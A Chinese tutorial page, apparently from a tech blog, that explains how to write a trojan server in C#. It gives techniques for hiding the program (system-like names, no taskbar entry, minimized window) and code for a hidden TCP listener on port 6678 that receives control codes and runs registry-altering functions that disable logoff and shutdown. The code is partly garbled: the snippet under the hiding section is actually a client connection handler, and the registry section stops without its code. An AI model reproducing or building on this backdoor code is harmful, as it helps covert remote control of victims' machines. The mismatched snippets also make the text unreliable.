溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何利用C#實現(xiàn)木馬服務(wù)程序

發(fā)布時間:2021-06-16 14:54:02 來源:億速云 閱讀:159 作者:chen 欄目:編程語言

這篇文章主要講解了“如何利用C#實現(xiàn)木馬服務(wù)程序”,文中的講解內(nèi)容簡單清晰,易于學(xué)習(xí)與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學(xué)習(xí)“如何利用C#實現(xiàn)木馬服務(wù)程序”吧!

服務(wù)端的開發(fā):

要C#實現(xiàn)木馬服務(wù)程序,主要實現(xiàn)以下幾個功能:后臺的運行(隱藏技術(shù)),控制碼的接收與注冊表的修改,下面對這三方面做介紹:

1、在VC#中,建立一個后臺服務(wù)程序是很容易的

先建立一個新的C#的Windows應(yīng)用程序,項目名稱自定(不過為了隱藏可使用與系統(tǒng)相近的名稱),將窗體屬性“ShowInTaskbar”屬性設(shè)為false,讓它運行時不會在任務(wù)欄中顯示,并將屬性“Windowstate”屬性設(shè)為 Mininized即可,這樣窗體就可以隱藏運行了。當(dāng)然你也可以在InitializeComponent()設(shè)置,此函數(shù)起初始化的作用,在窗體顯示前運行,代碼如下:

// System.EventArgs包含事件數(shù)據(jù)類的基類  private void button7_Click(object sender, System.EventArgs e)  {  //記錄操作,在richTextBox控件中增加操作信息  richTextBox1.AppendText("請求連接" +textBox1.Text +" ");  int port =6678;  try  {  //初始化 TcpClient 類的新實例并連接到指定主機上的指定端口  client = new TcpClient(textBox1.Text,port);  }  catch  {  MessageBox.Show("服務(wù)器不在線!確定是否輸入主機名稱.");  richTextBox1.AppendText("服務(wù)器不在線!確定是否輸入主機名稱.");  }  }

2、控制代碼的接收

必需在服務(wù)程序運行開始就啟動,所以偵聽線程必需在程序初始化中啟動,所以放在窗體的構(gòu)造函數(shù)中,代碼注解如下:

public Form1() //窗體的構(gòu)造函數(shù)  {  //  // Windows 窗體設(shè)計器支持所必需的  //  InitializeComponent();  //  // TODO: 在 InitializeComponent 調(diào)用后添加任何構(gòu)造函數(shù)代碼  //加入你的偵聽代碼  //端口你可以自已設(shè)定,我使用了固定的端口  int port =6678;  //System.Net.Sockets.TcpListener是用來在Tcp網(wǎng)絡(luò)中偵聽客戶端的  listener = new TcpListener(port);  //啟動偵聽  listener.Start();  //增加接收控制碼的線程,如果要停止線程可以用 Thread.abort()  //reControlCode 是線程啟動執(zhí)行的函數(shù),此函數(shù)根據(jù)接收的控制  //控制碼選取合適的注冊表修改函數(shù)  Thread thread = new Thread(new ThreadStart(reControlCode));  thread.Start();  }  reControlCode函數(shù)如下,完整代碼見程序  private void reControlCode()  {  //設(shè)置接收套接字,接收listener.AcceptSocket是返回已經(jīng)接收的客戶的請求  socket = listener.AcceptSocket();  //如果連接成功執(zhí)行  while (socket.Connected)  {  //接收控制碼  byte [] by =new byte[6];  int i = socket.Receive(by,by.Length ,0);  string ss = System.Text.Encoding.ASCII.GetString(by);  //根據(jù)控制碼執(zhí)行不同的功能   //修改注冊表加入編碼  switch (ss)  {  case "jiance"://測試連接,返回測試信息  string str ="hjc";  byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);  socket.Send(bytee,0,bytee.Length,0);  break;  case "zx1000":  //修改注冊表函數(shù),自已定義,見下面分析  UnLogOff();  //返回控制消息  retMessage();  break;   case "zx0100":  //修改注冊表函數(shù)  UnClose();  //返回控制消息  retMessage();  break;  //重復(fù)的case功能與前面一樣,略掉  default:  break;  }//case  }//while  } //private void reControlCode

3、C#中實現(xiàn)注冊表的修改

使用了.NET類庫中的System.Microsoft.Win32命令空間,它提供兩種類型的類:處理由操作系統(tǒng)引發(fā)的事件的類和對系統(tǒng)注冊表進行操作的類。

感謝各位的閱讀,以上就是“如何利用C#實現(xiàn)木馬服務(wù)程序”的內(nèi)容了,經(jīng)過本文的學(xué)習(xí)后,相信大家對如何利用C#實現(xiàn)木馬服務(wù)程序這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關(guān)知識點的文章,歡迎關(guān)注!

向AI問一下細節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI